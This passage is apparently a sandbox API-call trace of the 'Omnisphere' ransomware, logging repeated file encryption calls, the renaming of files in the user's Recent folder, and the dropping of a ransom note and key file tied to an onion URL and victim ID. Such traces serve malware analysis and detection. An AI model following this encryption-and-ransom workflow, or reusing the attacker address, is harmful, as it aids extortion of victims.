hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.212] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.213] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.213] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.213] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.213] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.213] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.213] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.213] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.213] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.213] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.213] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.213] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.213] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.213] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.213] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.213] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.213] CryptDestroyKey (hKey=0x1639b68) returned 1 [0120.213] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0120.213] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3cb, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.213] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.213] GetProcessHeap () returned 0x1600000 [0120.213] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b0) returned 0x16bd8f8 [0120.213] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqY92gjilZV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gqy92gjilzv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqY92gjilZV.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gqy92gjilzv.lnk.omnisphere")) returned 1 [0120.214] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqY92gjilZV.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqY92gjilZV.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqY92gjilZV.lnk.omnisphere.id" [0120.214] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqY92gjilZV.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gqy92gjilzv.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0120.217] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0120.218] CloseHandle (hObject=0x3c0) returned 1 [0120.218] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.218] CloseHandle (hObject=0x288) returned 1 [0120.218] SetEndOfFile (hFile=0x28c) returned 1 [0120.218] FlushFileBuffers (hFile=0x28c) returned 1 [0120.229] CloseHandle (hObject=0x28c) returned 1 [0120.230] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqY92gjilZV.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.230] GetProcessHeap () returned 0x1600000 [0120.230] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16c9018 [0120.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.230] GetProcessHeap () returned 0x1600000 [0120.230] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1de8 [0120.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1de8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.230] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.230] GetProcessHeap () returned 0x1600000 [0120.230] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16aff48 [0120.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16aff48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.230] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.230] GetProcessHeap () returned 0x1600000 [0120.230] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bedf8 [0120.230] PathCombineW (in: pszDest=0x16bedf8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.230] GetProcessHeap () returned 0x1600000 [0120.230] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c4a08 [0120.230] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.231] WriteFile (in: hFile=0x28c, lpBuffer=0x16c4a08*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c4a08*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.231] CloseHandle (hObject=0x28c) returned 1 [0120.231] GetProcessHeap () returned 0x1600000 [0120.231] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16c9018 | out: hHeap=0x1600000) returned 1 [0120.231] GetProcessHeap () returned 0x1600000 [0120.231] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0120.231] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.231] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.231] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.231] CloseHandle (hObject=0x28c) returned 1 [0120.232] GetProcessHeap () returned 0x1600000 [0120.232] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.232] GetProcessHeap () returned 0x1600000 [0120.232] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16566d0 | out: hHeap=0x1600000) returned 1 [0120.232] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fd515ad, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1fd515ad, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1fd515ad, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x0, dwReserved1=0xd3, cFileName="h JWuZ SUzT 6.lnk", cAlternateFileName="HJWUZS~1.LNK")) returned 1 [0120.232] GetProcessHeap () returned 0x1600000 [0120.232] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162cec8 [0120.232] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="h JWuZ SUzT 6.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h JWuZ SUzT 6.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h JWuZ SUzT 6.lnk" [0120.232] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.232] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h JWuZ SUzT 6.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\h jwuz suzt 6.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.232] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=663) returned 1 [0120.232] GetTickCount () returned 0x115e098 [0120.232] GetTickCount () returned 0x115e098 [0120.232] GetTickCount () returned 0x115e098 [0120.232] GetTickCount () returned 0x115e098 [0120.232] GetTickCount () returned 0x115e098 [0120.232] GetTickCount () returned 0x115e098 [0120.232] GetTickCount () returned 0x115e098 [0120.232] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] GetTickCount () returned 0x115e098 [0120.233] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669230) returned 1 [0120.234] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639628) returned 1 [0120.234] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.234] CryptDestroyKey (hKey=0x1639628) returned 1 [0120.234] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0120.234] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x297, lpName=0x0) returned 0x288 [0120.234] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x297) returned 0x1480000 [0120.234] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0120.235] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0120.235] CryptSetKeyParam 